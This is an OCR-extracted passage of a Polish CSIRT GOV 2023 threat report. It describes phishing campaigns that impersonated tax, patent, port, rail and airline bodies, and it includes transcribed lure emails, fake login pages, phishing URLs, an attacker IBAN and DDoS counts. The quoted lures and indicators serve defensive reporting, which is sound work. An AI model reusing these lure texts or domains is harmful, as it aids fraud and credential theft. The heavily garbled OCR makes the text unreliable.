danych uwierzytelniajgcych (m. in. do skrzynek poczty elektronicznej czy bankowosci internetowej).

CSIRT GOV w 2023 roku odnotowywat rowniez wysoki wolumen atakow DDoS realizowanych przez
zorganizowane grupy haktywistyczne. Kampanie tego rodzaju byty ukierunkowane na ograniczenie
dostepnosci domen internetowych atakowanych podmiotow oraz $wiadczonych przy ich wykorzystaniu
ustug. Jednoczesnie akty tego rodzaju nosity znamiona kampanii propagandowych, podkreslajacych
skutecznos¢ grup, przy jednoczesnym uwypukleniu stabosci atakowanych celow. Informacje na temat
atakdw byty intensywnie rozpowszechniane za posrednictwem popularnych mediow spotecznosciowych.

Kolejnym zagrozeniem w zakresie cyberbezpieczenstwa systemow teleinformatycznych
administracji panstwowej RP, a takze operatoréw infrastruktury krytycznej, byty intensywne proby
przetamania zabezpieczen urzadzen brzegowych atakowanych podmiotdw, funkcjonujacych w styku
z siecig Internet. Dziatania tego rodzaju, przejawiajace sie przede wszystkim w postaci masowego
skanowania infrastruktury sieciowej, miaty na celu rozpoznanie podatnosci systemow na proby
uzyskania nieautoryzowanego dostepu, badz eksploitacji ztosliwego oprogramowania (trojan, backdoor,
ransomware, etc.)

Utrzymujacy sie wysoki poziom wymienionych powyzej zagrozen w cyberprzestrzeni RP,
wynikajacych w szczegdlnosci z agresywnych dziatan niosacych znamiona zagrozenia wystgpienia
zdarzenia o charakterze terrorystycznym, skutkowat decyzjg Prezesa Rady Ministrow o utrzymaniu

w roku 2023 na terenie catego kraju stopnia alarmowego CRP - CHARLIE CRP.

2.2. Podszycia, kampanie phishingowe

W 2023 roku CSIRT GOV odnotowat szereg kampanii socjotechnicznych, ktdre ukierunkowane
byty na instytucje panstwowe i nierzadko miaty charakter atakow spearphishingowych, dotyczacych
okreslonych osob sprawujacych funkcje publiczne. Celem kampanii byto uzyskanie nieuprawnionego
dostepu do zasobow, w tym przede wszystkim poprzez pozyskanie danych uwierzytelniajacych.

y
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W kontekscie zaobserwowanej metodyki dziatan cyberprzestepczych nalezy wskazac, iz adwersarze
podejmowali takze prdby osiggniecia zatozonych celow nierzadko poprzez dystrybucje ztosliwego
oprogramowania.

Ponizej przedstawiono opis wybranych kampanii aktywnosci socjotechnicznej z podziatem

na poszczegolne kwartaty.

2.2.1. Zagrozenia odnotowane w | kwartale 2023 roku

1. W styczniu 2023 roku zarejestrowano kampanie phishingowg wykorzystujacg podszycie
pod instytucje Krajowej Administracji Skarbowej. Przedmiotowa kampania dystrybuowata fatszywe
wiadomosci informujace o pozytywnym rozpatrzeniu wniosku o zwrot podatku. Uzytkownik poprzez tres¢
wiadomosci byt zachecany przez adwersarza do skorzystania z odnosnika w celu weryfikacji przyznanej
kwoty zwrotu.

Od Krajowa Administracja Skarbowa <infos@chabrouch.com> & 25.01.2023, 20:12

Temat Zatwierdzenie Twojego wniosku o automatyczny zwrot podatku

Szanowny Obvwatel,

W zwigzku z Padstwa wnioskiem o automatyczny zwrot podatku, informujemry, Ze zostal
on pozyiywnie rozpatrzony. Kwota zwrotu zostanie przelana na wekazane przez Pasistwa
konto bankowe w ciagu najblizzzyeh kilku dni roboczyeh.

Podsumowanie zwrotu pieniedzy

Hazlo tymezasowe: 347002

Prosimy o sprawdzenie czy dane na koncie bankowym =3 prawidiowe. W przypadkn
jakichkolwiek probleméw; prosimy o kontakt z nami.

Z powazaniem,

Krazjowa Administracja Skarbowa
Rysunek 1. Wiadomo$¢ phishingowa e-mail wykorzystujgcg podszycie pod instytucje Krajowej Administracji
Skarbowej

Skorzystanie z hipertacza powodowato automatyczne przekierowanie uzytkownika na specjalnie
spreparowang witryne podszywajaca sie pod panel logowania Krajowej Administracji Skarbowe;j.
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CSIRT GOV

& gov-puescweb.app/Podsumowanie_zwrotu_podatku?TAX=547002
M

) prz: jo droga elekironiczng za

Wprowadz swoj numer identyfikacyiny i numer felefonu, K
HAE 5 Oto podsumowanie Twojego nego zeznania p g
aby kontynuowaé 5 i X - 5 -
jposrednictwem portalu internetowego Urzedu Skarbowego. Przypominamy, ze za automatyczne wystanie

formularza pobieramy optate w wysokosci 40 zt.

Numer identyfikacyjny

Podstawa naliczenia podatku VAT: na podstawie faktury Hpepopnvia extimwaong: 26/01/2023

+48 | Numer telefonu
Okres podatkowy 28/10/2022 - 26/01/2023

e o
932.57

Zwrot podatku VAT przy zakupie [T1]

Zwrot podatku VAT od innych nakiadéw [T2] 21531

Catkowity zwrot podatku (bez optat) 1147.88

Opiata za automatyczny zwrot podatku - 40.00
1107.88 zt

Catkowity zwrot podatku

Wybierz metode platnosci zwrotu podatku

) Odbierz wyplate przelewem bankowym
() Wyplata gotéwki w Urzedzie Skarbowym Warszawa

Rysunek 2. Witryna phishingowa wytudzajaca $rodki finansowe, wykorzystujgca podszycie pod Krajowej
Administracji Skarbowej

Realizujgc  wskazane na przedmiotowej stronie wytyczne, uzytkownik podawat dane

uwierzytelniajace, a nastepnie uzyskiwat informacje o podsumowaniu zwrotu podatku, po czym mogt

dokona¢ wyboru metody dokonania zwrotu podatku.

@D visa
ID Check

Potwi ie wyptaty pieni

Zaloguj sie, aby potwierdzit swoja wypiate online.

PUESC. GOV PL
26/01/2023
1107,88 PLN

66658547

Numer PESEL

PESEL lub numer paszportu

Problem z zalogowaniem sig?

ZALOGUJ

Pruwatnoéé: Pomoe?

Rysunek 3. Witryna phishingowa wytudzajaca $rodki finansowe, wykorzystujgca podszycie pod Krajowg
Administracje Skarbowgq
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Przedmiotowe wiadomosci byty wysytane z adresu IP 161.38.201.94 o niskiej reputacji. Wedtug
uzyskanych informacji, adres ten jest kojarzony przez silniki reputacyjne jako powigzany z wysytka
wiadomosci typu spam oraz phishingu.

2. W lutym 2023 roku Zespot CSIRT GOV zidentyfikowat kampanie phishingowg wymierzong w Zarzad
Morskiego Portu Gdynia S.A. Wiadomosci do pracownikow portu wysytane byty za posrednictwem serwera
szwedzkiej sieci uniwersyteckiej. Dystrybuowany link wykorzystywat domene podszywajaca sie pod
spotke Port Gdynia z wykorzystaniem techniki typosquatting, tj. podmiany w nazwie ,gdynia” na ,gdynla”.

Od Jens Rudberg <rudberg@kth.se> @ 08.02.2023, 13:33

Temat Report abuse
Dear user,

We've noticed suspicious activity from your account. Did you log in to your account from different computer/location? Please log in again
https://poczta.port.gdynla.pl/owa/auth/logon.aspx?replaceCurrent=1&reason=2&url=https%3a%2{%2fpoczta.port.edynia.pl%2fowa%2f
[poczta.port.gdynla.pl]

Kind regards,
Jens Rudberg

Head of IT Bivision
Fort Goynia
&1 -337, ul Rotterdamska 5, Gdynia

RS

el (+48 58) 621 79 77
tel.: {+48 58) 30090 73
fax: [+48 58) 622 2017

Rysunek 4. Phishingowa wiadomo$¢ e-mail z odnosnikiem do witryny wytudzajgcej po$wiadczenia logowania
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Wskazany odnos$nik przekierowywat ofiare na strone zawierajgca spreparowany panel logowania
do poczty Microsoft Outlook, ktdrego celem byto pozyskanie danych uwierzytelniajacych.

Bik Edyds Widok Hitods Zakadi Nauedsia Pomog

< c o © @ hitpsfpocetaportgdyniaplfowa/authfiogon.aspx

= Outlook

Rysunek 5. Spreparowany panel logowania wytudzajacy po$wiadczenia
2.2.2.  Zagrozenia odnotowane w Il kwartale 2023 roku

1. Wkwietniu 2023 roku sig zostata ujawniona kampania socjotechniczna wykorzystujaca podszycie
pod Zarzad Morskich Portéw Szczecin i Swinoujscie S.A.

Na skrzynke przesytane byty wiadomosci o temacie ,68980 Ptatnosc faktury”. W tresci znajdowat
sig obraz w postaci ikony pliku PDF, ktdry po kliknieciu przenosit do spreparowane] strony logowania

do konta pocztowego Microsoft celem uzyskania dostepu do pliku.

Temat: 68980 Platnosé faktury. pon, 17.04.2023 13:37

VIEW DOCUMENT

Rysunek 6. Phishingowa wiadomo$¢ e-mail, wykorzystujgca podszycie pod Zarzad Morskich Portow

Szczecin i Swinoujscie S.A.
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& suveyzohopubliceu/zs/viDHaN

Port Swinoujscie SA

Zaloguj sig za pomoca konta e-mail Microsoft Office, aby wys$wietli¢ zataczony plik PDF.
Platnos¢ faktury.

B Microsoft

" Adres e-mail:

" Hasto:

Wyéwietl dokument

Rysunek 7. Spreparowany panel logowania wykorzystujgcy podszycie pod Zarzad Morskich Portow
Szczecin i Swinoujcie S.A.
Wprowadzenie danych logowania w panelu umozliwiato pozyskanie przez adwersarza danych
wrazliwych, co tym samym podwyzszato ryzyko prowadzenia dalszych dziatan ukierunkowanych wobec
podmiotu.

Po zalogowaniu sie na fatszywy panel poczty elektronicznej i wytudzeniu poswiadczen ofiara
zostawata przekierowana na rzeczywistg strone internetowg Zarzadu Morskich Portow Szczecin
i Swinoujscie S.A. https://port.szczecin.pl/.

szukaj na stronie O “o A) O

PORT SZCZECIN-SWINOUJSCIE

ODKRYY

)

=N,/

Port Szczecin

UNIWERSALNY ZESPOE PORTOWY NA BAETYKU

Solrdarni z Ukraing

Rysunek 8. Strona internetowa Zarzadu Morskich Portéw Szczecin i Swinoujécie S.A.
https.//port.szczecin.pl/




Przedmiotowe dziatanie adwersarza wykorzystywato elementy socjotechniki, bowiem
ostateczne przekierowanie ofiary na rzeczywista witryne Portu miato na celu wprowadzenie jej w btad
co do autentycznosci witryny zawierajacej phishingowy panel logowania. Uwiarygodnienie w ten sposdb
ataku dawato nastepnie adwersarzowi czas na uzyskanie dostepu do poczty ofiary, zanim dziatanie

to zostanie wykryte i zidentyfikowane jako nieuprawnione.

2. W kwietniu 2023 roku CSIRT GOV odnotowat takze kampanie wykorzystujaca podszycie pod
wizerunek Urzedu Patentowego RP. Tres¢ rozsytanych przez atakujacego wiadomosci e-mail zostata
przygotowana w sposob majacy na celu wywotanie w ofierze przeswiadczenia, iz odbiorcy wiadomosci
zostato wydane ,Swiadectwo ochrony”. Nastepnie, adresat bytinstruowany o koniecznosci uiszczenia optaty
w kwocie 815,00 euro w zwigzku z przeprowadzong procedurg wydania rzeczonego $wiadectwa.

Od Urzad Patentowy RP Departament Zgloszen UPRP <Urzad_Patentowy_RP@minister.com>
Temat Rejestracja znaku ze zgloszenia 2.552450

Urzad Patentowy Rzeczypospolitej Polskie)
al. Niepodlegtosci 188/192
00-950 Warszawa, Skr. pocztowa 203

DECYZIJA

Na podstawie art. 147 ust. 1iust. 2 oraz art. 224 ust. 1 ustawy z dn. 30 czerwca 2000 . Prawo Wiasnosci
Przemystowej (tekst jednaolity: Dz.U. z 2013 r.; poz. 1410) - dalej zwanej u. p. w. p,, w zZwigzku z § 4 ust. 3
Rozporzadzenia Rady Ministréw z dn. 29 sierpnia 2001 . w sprawie optat zwigzanych z ochrong wynalazkdw,
wzordw uzytkowych, wzoréw przemystowych, znakéw towarowych, oznaczen geograficznych i topografii
uktadéw scalonych (Dz.U. z 2001 . Nr. 90, poz. 1000 z pdzn. zm.), dalej zwanego Rozporzadzeniem, Urzad
Patentowy RP udzielit w dniu 29.05.2023 r. PRAWA OCHRONMNEGO NR R. U.0302463/35... na znak towarowy:

0 nazwie

zgtoszony w dniu 2023-02-15

za numerem Z.552450

klasyfikacja nicejska 29, 30

na rzecz z siedzibg w miejscowodci Nowy S3cz.

Zgodnie z rozporzadzeniem Komisji Parlamentu Europejskiego (WE) nr 2868/95, wykonujacym rozporzadzenie
Rady (WE) nr 40/94 w sprawie harmonizacji oplat na rzecz krajowych urzedéw patentowych (znaki towarowe i
wzory uzytkowe), opfat za przyznane na terenie Unii Europejskiej, w tym na terenie Rzeczypospolite] Polskiej,
prawa ochronne dokanuje sie na rzecz Urzedu Unii Europejskiej ds. Wiasnosci Intelektualnej (UUEWT -
https://euipo.europa.eu/).

W zwigzku z powyzszym, na podstawie art. 277 u. p. w. p., Urzad Patentowy RP wzywa do uiszczenia na rzecz
Urzedu Unii Europejskiej ds. Whasnosci Intelektualnej w terminie 21 dni od dnia udzielenia (29.05.2023 r.)
przedmiotowego prawa achronnego, tj. w terminie nieprzekraczalnym do dnia 19.06.2023 r, optaty w kwocie
815,00 euro za udzielenie rzeczonego prawa ochronnego na okres lat dziesieciu. Optate nalezy wniesc przelewem
SEPA zgodnie z danymi (prosimy postuzyc sig wylacznie ponizszymi danymi, w tym tytutem przelewu i nazwa
odbiorcy):

Odbiorca: UUEWI

IBAN (dla przelewdw z krajow spoza strefy euro): DE61100110012736666118

BIC : NTSBDEB1XXX

Tytutem:

Nieuiszczenie oplaty w terminie wiaze sie z wygasnieciem prawa ochronnego.

Z upowaznienia Prezesa Urzedu Patentowego
Dyrektor Departamentu Zgioszen UPRP
Prosimy nie odpowiadac na te wiadomosc. Zgodnie z dyrektywa Parlamentu Europejskiego i1 Rady (UE) nr 2019/1151 w
odniesieniu do stosewania narzedzi i proceséw cyfrowych, niniejsza wiadomosé wygenerowano automatycznie na serwerze
korespondencji ministerialnej UPRP-AUTO i wystano na adres poczty elektronicznej wskazany podczas procedury
zgtoszeniowej znaku. Domeny www.korespondencja-ministerialna.gov.pl, www.ministerialna.eu oraz www.ministercom
stuza wylacznie do automatycznej wysvtki korespondencji proceduralnej i nie s3 monitorowane.

= §wiade(mn_rejestracji_znaku_R._U.0302463_35437"4.pdf 1,5 MB

Rysunek 9. Phishingowa wiadomo$¢ e-mail wykorzystujgca podszycie pod Urzad Patentowy RP
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W celu uwiarygodnienia, atakujacy zatgczat do przedmiotowej wiadomosci plik w formacie .pdf,
stanowiacy spreparowane ,$wiadectwo ochrony” w formie dokumentu elektronicznego.

UPRPAQO _REJESTR ZNAXOW: R U.0302463/354372.29-05-2023

URZAD PATENTOWY
RZECZYPOSPOLITEJ POLSKIEJ

SWIADECTWO OCHRONNE

Na podstawie przepisow ustawy z dn. 30 czerwca 2000 r. Prawo
Wilasnosci Przemystowej (Dz.U. z 2013 r.; poz. 1410 z pén. zm.)
zostalo udziclone:

PRAWO OCHRONNE
NR R. U.0302463/354372
KATEGORIA PRAWA
Znak towarowy
DATA UDZIELENIA

29.05.2023 r.

Prawo ochronne trwa od: 29.05.2023 r.

Warszawa, 09.06.2023 r.

. o'vh[glvrréh’ ’
o N\
2ja %
”tﬂ?‘ s Z upowaznienia Prezesa
&/ Urzedu Patentowego

Dukusscnt z0stal podpisany clckirosicznic przez Ascic Stulcblak Data: 09.06.023 09:35:14 +02'00° Algorytm SHA2S6RSA Rodtaj Kecza
ECDSA P256 Khicz B4340Sxb 19541 bS04k S 1 1 404063091

Rysunek 10. Spreparowane ,$wiadectwo ochronne” Urzedu Patentowego RP




W czerwcu 2023 roku odnotowano kampanie socjotechniczng skierowang do obywateli Ukrainy
przebywajacych na terytorium RP. Nalezy zauwazyc, ze tego typu kampanie stanowig trend, ktdry pojawit
sie w zwigzku z naptywem uchodzcow z Ukrainy do Polski. Ujawniona kampania bazowata na spreparowane;j
witrynie internetowej, na ktdrej znajdowata sie ankieta dla obywateli Ukrainy ubiegajacych sie
o ,pomoc finansowa”, i miata na celu wytudzenie m.in. takich informacji jak: imie i nazwisko, numer
PESEL, miejsce zamieszkania w Polsce (miasto, ulica, nr domu, nr lokalu), numer telefonu oraz dane
karty ptatniczej (numer karty, data waznosci, CVV). Na koncu ankiety znajdowato sie logo Agencji
Bezpieczenstwa Wewnetrznego oraz informacja, iz: ,Dane osobowe sg przetwarzane przez Administracje
i Agencje Bezpieczenstwa Wewnetrznego RP”, co miato dodatkowo uwiarygodni¢ korespondencije.

IpowoBa gonoMora yKpaiHusaM Ta

iH o03eM u aM B i ‘q n onbLU ‘- I BAXKJINBO ! O6po6ka nepcoHanbHUX AaHux 3AiHCHIOETbCA AAMIHICTpal et Ta

AreHuyiero BHYTPI TMonbuwi.

Zaloguj si¢ w Google, aby zapisa¢ postepy. Wigce] informacji

* Wskazuje wymagane pytanie

Ykpaiucbki 6ixeHyi, axi npoxHBaoTs y [1oNbLLyi, 3HOBY MOXYTb NOAATH 3aABKY Ha
OTpUMaHHA inaHcoBol Jonomor Bif Monbwi. Ha Ky cyMy MOXYTh

po3paxoByBaTH 6imeHi Ta AK NofgaTH 3aABKY, } 0 HUXKYE.

Wyezysé formularz

Nigdy nie podawaj w Formularzach Google swoich haset.

Ta tresc nie zostata utworzona ani przez Google. Zgios naduzy Warunki Z ustugi-
‘0chrona danych osobowych

Formularze Google

Rysunek 11. Spreparowana ankieta stanowigca element kampanii phishingowej

Ankieta utworzona zostata za pomocg rozwigzania Google umozliwiajgcego tworzenie formularzy
i ankiet online. W celu jej wypetnienia ofiara musiata posiada¢ konto uzytkownika w ustudze Google.
Tym samym atakujacy wykorzystywali wskazang ustuge do pozyskiwania danych od oszukiwanych
obywateli Ukrainy.




2.2.3.  Zagrozenia odnotowane w llll kwartale 2023 roku

1. W lipcu 2023 roku miata miejsce kampania dystrybuujgca wiadomosci zawierajace odnosnik,
majace na celu naktonienie ofiary do pobrania pliku w formacie .pdf.
Od T R 04.07.2023, 10:35
shared a document with you to review:

1 Attachments in PDF format

Pages: 2
Date: 7/4/2023

Review PDF Document

T R
Wepalnik | Adwokat / Attorney at Law

Kancelaria Prawna sp. k.

Rysunek 12. Phishingowa wiadomo$¢ e-mail majgca na celu naktonienie ofiary do pobrania pliku
w formacie .pdf.

Po skorzystaniu z przycisku ,Review PDF Document” stanowigcego odnosnik, nastgpowato
przekierowanie do domeny zohoexternal[Jcom. Nastepnie ofiara, po kliknigciu w symbol ktadki, aby
pobrac zabezpieczony plik, przenoszona byta do domeny https://traveller[]qa, gdzie mogta wybrac rodzaj
uzytkowanej przez siebie poczty elektronicznej. Po dokonaniu wyboru pojawiato sie okno logowana

wytudzajace dane do konta poczty elektronicznej (login i hasto). Wykorzystany sposdb dziatania jest
widoczny na zataczonym ponizej przyktadzie.




@ Onedrive — Mozilla Firefox - o

mn x

QO B nitpsiytravelierga/opefireshivgverity B %

B2 Microsoft

User authentication is required to
download this document:

Sign in using work/office ‘

email OneDrive

To read the document, se email provider below to Login to view shared file

Signin

B= Continue with Outlook

Forgot password?
I continue with Office365

Sign in & Downoad

B4 Continue with Other Mail

v Modified File size v Sharing

Documents 15 days ago 126 KB Private
Rysunek 13. Podstawiony panel logowania wytudzajacy po$wiadczenia

2. W lipcu 2023 w jednym z urzedow wojewddzkich zidentyfikowano kampanig phishingowa
ukierunkowana na pozyskanie danych logowania do skrzynek poczty elektronicznej (wytudzenie loginu
i hasta).

Po zalogowaniu sie przy uzyciu fatszywego panelu poczty elektronicznej i wytudzeniu poswiadczen
ofiara byta przekierowywana na strong internetowg wyswietlajgcg komunikat o ,btedzie” spowodowanym
rzekomym podaniem nieprawidtowych danych uwierzytelniajgcych.

Od: Jhonny | Torres [jhonny. .gob.pe]
Do:

DwW:

Temat: Zawiadomienie o platnoci.

Przelew bankowy.
Kliknij-Open Doc.
(90KB).pdf

Dziefi dobry,

Prosimy zapoznac sie z plikiem PDF file, aby zobaczy¢ bezpieczne kopie ptatnosci bankowej dokonanej dzisiaj.

Urzad Miasta Czestochowy
ul. Slaska 1113

42-217 Czestochowa

tel. centrala: +48 34 370 71 90
fax centrala: +48 34 37071 71

info@czestochowa.um.gov.pl

Rysunek 14. Phishingowa wiadomo$¢ e-mail z odnosnikiem do spreparowanego panelu logowania

y

30




enty Bez,, :

yOenyY D€z,
o) Co
&

CSIRT GOY

Atakujacy, wykorzystujac elementy socjotechniki (m.in. podszycie pod Urzad Miasta Czestochowa
w podpisie wiadomosci), kierowat ofiare poprzez odnosnik, do pliku majacego zawierac dane do przelewu
bankowego. W rzeczywistosci link kierowat do spreparowanej przez adwersarza strony zawierajacej
zminiaturyzowane obrazy dokumentdw, do ktorych peten dostep wymagat podania danych logowania
do skrzynki pocztowe;.

F Esbezpieczons faktura bankew X |+ ~

» C @ QO B nitps//lomI/LIDEADMEPy =

Rysunek 15. Spreparowany panel logowania wytudzajacy poswiadczenia

Po podaniu danych dostgpowych witryna kierowata ofiare na strong wyswietlajacg komunikat
0 ,btedzie”.

Rysunek 16. Komunikat wyswietlajgcy sie po wprowadzeniu danych logowania

-



3. W sierpniu 2023 roku pojawita sie kampania phishingowa skierowana na skrzynki mailowe
jednego z urzedow, wykorzystujaca podszycie pod PKP Intercity. Adwersarz wykorzystat w tym
przypadku spreparowang strong przypominajacq witryne wskazanej spotki. Tres¢ wiadomosci zawierata
link, po kliknigciu ktorego ofiara byta przekierowywana na fatszywa strone zawierajaca spreparowang
ankiete badania satysfakcji klientow.

Szanowni Pasazerowie,

Jestesmy zespolem PKP Intercity | chcemy poznac Wasze opinie na temat
doswiadczen zwiazanych z podrdzowaniem naszymi pociagami. Wasza opinia jest dla
nas niezwykle wazna, dlatego serdecznie zapraszamy do wziecia udzialu w naszej
kratkie] ankiecie.

Aby wyrazic nasza wdziecznosc za poswiecenie czasu na wypelnienie ankiety, kazdy
uczestnik ma szanse wygrac nagrode w wysokosci 244,21 PLN. Po zakonczeniu
ankiety

Kliknij tutaj_: Wez udzial teraz

Wasze odpowiedzi beda traktowane w pelnej poufnosci | posluza nam do dalszego
doskonalenia naszych uslug.

Dziekujemy za wsparcie i uczestnictwo w tej ankiecie. Czekamy na Wasze cenne
opinie!

Z wyrazami szacunku,
Zespdl PKP Intercity

train icon info icon traffic icon

Rysunek 17. Phishingowa wiadomo$¢ e-mail z odnosnikiem do spreparowanej strony www




grafitects.com/pkp/g4.hitml

LT PP INTERCITY

#7 00:04:50

Moje bilety
Wyszukaj potaczenie

Kup bilet okresowy i
Interrail

Regulamin i cennik
Instrukcja
FAQ

Obstuga
uzytkownikow
niezarejestrowanych

Kalkulator przejazdow
grupowych

Badanie satysfakcji klientéw

Czy jestes zadowolony/zadowolona z dostepnosci rozkladu jazdy eraz réznorodnosci oferty podrozy PKP
Intercity?

(] Tak, jestem bardzo zadowelony/zadowolona

(] Tak, jestem raczej zadowolony/zadowolona

Nie mam zdania

[C) Nie, jestem raczej niezadowolony/niezadowolona

(O Nie, jestem bardzo niezadowolony/niezadowolona

./ +48 22 391 97 57 Oplata zgodna z cennikiem operatora.

© 2014 PKP Intercity 5.4

UNIA EUROPEISKA % Biulewninformacl g & Prawa i obowiazki Q Widok do ‘9 Zalos
FUNDUSZ SPOINOSCH B pubicne 'x- pasazera druky D ywagl
Strona glowna - Reklamadje i skargi - Polityka bezpieczeristwa - Kontakt - powrdt na gore Mapa strony

Rysunek 18. Spreparowana witryna PKP Intercity

Po wypetnieniu ankiety, uzytkownik byt kierowany na strone WWW wykorzystujgcag wizerunek

strony Przelewy24, gdzie po podaniu danych karty kredytowej miata nastapi¢ wyptata wynagrodzenia.




& grafitects.com/pkp/card.php

PrzelewyZ+ @ = =
ABY OTRZYMAC [ | ’] i
244,21 PLN B""P""'B‘\s g L...ﬁm @ fﬁ

[ i
visa Platnosé karta

DANE KARTY

Numer karty

Imig i nazwisk: Wazna do

)

Oszczgdza) czas, placac

jednym

Placac akceptujesz Regulamin Przelewy24

Regulamin Przelewy24

Administratorem Twoich danych osobowych jest spotka PayPro S.A. Czytal calost

Rysunek 19. Spreparowana witryna stuzgca do realizacji pfatnosci

Wskazana kampania byta ukierunkowana na wytudzenie $rodkow finansowych oraz danych
od uzytkownikow Kkart ptatniczych.

4. 7espot CSIRT GOV we wrzesniu 2023 roku otrzymat zgtoszenie o probie podszycia sie pod Prezesa
UKE. Przedmiotowa wiadomosc byta kolejng odstong kampanii wykorzystujacej elementy socjotechniki
w celu wytudzenia $rodkow finansowych, wytudzenia danych oraz sprawdzenia responsywnosci adresatéw
poczty elektronicznej. Kampania ta bazowata na podszyciu pod osobe zatrudniong na stanowisku
kierowniczym w danej instytucji, jednakze tres¢ przesytanych wiadomosci mogta budzi¢ watpliwosci

co do autentycznosci.




Temat: RE: projekt techniczny
Nadawca: <direktor@ceopass.org>
Data: 08.09.2023, 09:03

natychmiast dokonaj ptatnosci, jutro rano przesle wszystkie niezbedne dokumenty na Twoje biurko
Nazwa banku: Post Finance

Odbiorca: John decker

IBAN: CH28 0900 0000 1620 2194 3

Bic: POFICHBEXXX

Adres: Binningerstrasse 42, 4153, Reinach BL

Szwajcaria

Kwota: 47,167,02€

Cel ptatnosci: zakup technicznych projektow inwestycyjnych
wyslij tutaj dowod wplaty

serdeczne pozdrowienia

Rysunek 20. Phishingowa wiadomo$¢ e-mail wykorzystujaca elementy socjotechniki w celu wytudzenia
Srodkéw finansowych




2.2.4.  Zagrozenia odnotowane w IV kwartale 2023 roku.

1. W listopadzie 2023 roku Zespé6t CSIRT GOV uzyskat informacje o kampanii phishingowej,
wykorzystujacej podszycie pod Polskie Porty Lotnicze (PPL) oraz Polskie Linie Lotnicze LOT (PLL LOT).
Celem dziatan adwersarza byto wytudzenie $rodkéw finansowych od osdb prywatnych. Kampania
polegata na wprowadzeniu ofiar w btad co do rzekomego wystawiania przez PLL na sprzedaz aukcyjna
zaguhionego bagazu. Aukcje awizowane byty przez fatszywy profil na platformie Facebook. Atakujgcy
probowali wytudzi¢ dane osobowe jak i dane ptatnicze potencjalnych ofiar oszustwa.

O 8 hitps://dapylowind.space/products/jbl-partybox-110-in-black-partable-and-rolling-bluetacth-party-speaker-with-light-effects-splash-proof-mobile-music-box-with-battery2utm_campaign=

m Szukasz produktu, mark Q & Logowanie ) Ulubione 2 Koszyk

Zagubiony bagaz
289z 9z}

Nie ma sprawy!

States(-as) sig uczestnikiem promogji L. LOT - Polskich Linii
Lotniczych!

Pilnie oczyszczamy magazyn na lotnisku i sprzedajemy bagaze,
ktore byly bez opieki przez wigcej niz 6 miesigcy. Zgodnie z
przepisami, powinny zostat usuniete, ale organizujemy akcje
charytatywna i rozdajemy je za jedyne 9 zt.

Aby zdoby¢ Utracony bagaz, musisz odpowiedziec¢ na kilka
pytan, krore udowodnia, ze jestes prawdziwg osoba.

Pospiesz sig, ilos¢ jest ograniczonal

Pytanie 1 z 3: Czy mieszkasz w Polsce?

Tak

Uwagi do tego dziatania
* ok k ok x 491

Rysunek 21. Spreparowana witryna internetowa podszywajaca sie pod PLL LOT




O 5 https://go.cartchkout.com/pl/prn/(¢

138¢lick_id

Pobierz niesamowity Bon Air DIx juz teraz!

Prosimy o wypelnienie formularza
Imie Nazwisko

(Stefan (Anusiak
Adres

(batoregu J
Kod pocztowy Miasto

(02-591 (warﬂawa

Adres e-mail
(sanusiak@np.pl J
Telefon
48668149273 }
] Mam 18 lat i je ogolne warunki Swi: ia ustugi o

raz warunki promocji

Rysunek 22. Spreparowana witryna internetowa podszywajaca sie pod PLL LOT

O 8 nttps//start fininvestity.com/pl/orde;

Bezpieczna ptatnosé
1. Informacje v

2. Platnosé A

visa @D @B Verjider tasercua
Numer karty

[234123412341234

Imie whasciciela karty

Data wygasniecia cw

MM/YY 000

Rysunek 23. Spreparowana witryna internetowa podszywajgca sie pod PLL LOT

37 4

) V ¥



W grudniu 2023 roku Zespot CSIRT GOV uzyskat informacje o wiadomosci phishingowej, gdzie
wiadomosc¢ zostata wystana z adresu email podszywajacego sie pod dziat HR atakowanej instytucji . Tres¢
wiadomosci naktaniata odbiorce do skorzystania z odnosnika w celu pobrania pliku Excel i zapoznania sie

ze znajdujacymi sie w nim informacjami o urlopach.

DECEMBER LEAVE MEMO!!!
Dear
Your December Leave/Vacation application has been approved

EMPLOYEE'S EMAIL ADDRESS :
LEAVE TYPE: DECEMBER LEAVE/VACATION

Kindly refer to the below excel link to view the Date, Number of days and more information concerning your December/Annual Leave/Vacation.

Please note that all names highlighted in green are those who are yet to comply to the 2023 December Leave Plan and it appear: is yet to comply.
Names of employees marked in red color have met all the requirements for the December 2023 Annual Leave/Vacation Plan

You may login to to check your latest leave standings.

Should you have further questions, kindly reply this email.

Portgs 0
HR DIRECTOR

Rysunek 24. Wiadomo$¢ e-mail phishingowa naktaniajgca do skorzystania z odno$nika

DECEMEER LEAVE MEMO!!!
Dear
Your Decesber Leave/Vacation application has been approved .

EMPLOYEE'S EMAIL ADDRESS :
LEAVE TYPE: DECEMBER LEAVE/VACATION

Kindly refer te the below excel link to wiew the Date, Musber of days and more information concerning your DecemberfAnnual Leave/Vacation.

Portgdansk Decesber 2823 Leave/Vacation Approwal Lists, Dates and Durationm for Pportggdansk. pl <htips 29 98e5682034eb80b 19187 I60482c TR, T2, dey/owd-web hinls
Flease note that all names highlighted in green are those who are yet to comply to the 2823 Decesber Leave Plan and it appears BpOT Lo k.pl is yet to comply.
Hames of employees marked im yed color have met all the requirements for the December 2823 Annual Leave/Vacation Flan

You may login to Central HR Management System <hifps 20f98e568203debB9b 19187360 70,17 dey iowa-web himl#  to check your latest leawe standings

should you have further questions, kindly reply this email.
Best Regards.

Portgdansk HR Office.
HR DIRECTOR

Rysunek 25. Wiadomo$¢ e-mail phishingowa z odnosnikami do spreparowanego panelu logowania OWA

Pod wskazanymi w mailu odnosnikami znajdowaty sie w rzeczywistosci hipertacza
do spreparowanego panelu logowania do ustugi Microsoft Outlook. Po skorzystaniu z odno$nika
ukazywat sie fatszywy panel logowania stuzacy pozyskaniu danych logowania uzytkownika w ustudze
poczty elektronicznej.
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@ pub-20f98e56820a4eb89b1918736cdBacT0.r2.dev/owa-web htmi#

Emal address:

Rysunek 26. Spreparowany panel logowania do ustugi Microsoft Outlook
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2.3. Ataki DDoS

W 2023 r. Zespol CSIRT GOV rejestrowat wysoki wolumen atakow DDoS. tacznie odnotowanych
zostato 376 atakow. Liczba wykrytych atakow DDoS z podziatem na poszczegdlne kwartaty zostata

129
109
| | l

Kwatat | Kwartat Il Kwatat Ill Kwartat IV

przedstawiona ponizej.

Wykres 7. Liczba atakéw DDoS w podziale na kwartaty

W ciggu catego 2023 roku celem atakdéw DDoS byto 80 instytuciji znajdujacych sig we wtasciwosci
CSIRT GOV. Najwigkszg liczbe atakow zarejestrowano w pierwszym kwartale 2023 roku. W pozostatym
okresie ataki utrzymywaty sie juz na wzglednie nizszym poziomie.
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Wykres 8. Liczba zaatakowanych instytucji z podziatem na kwartaty



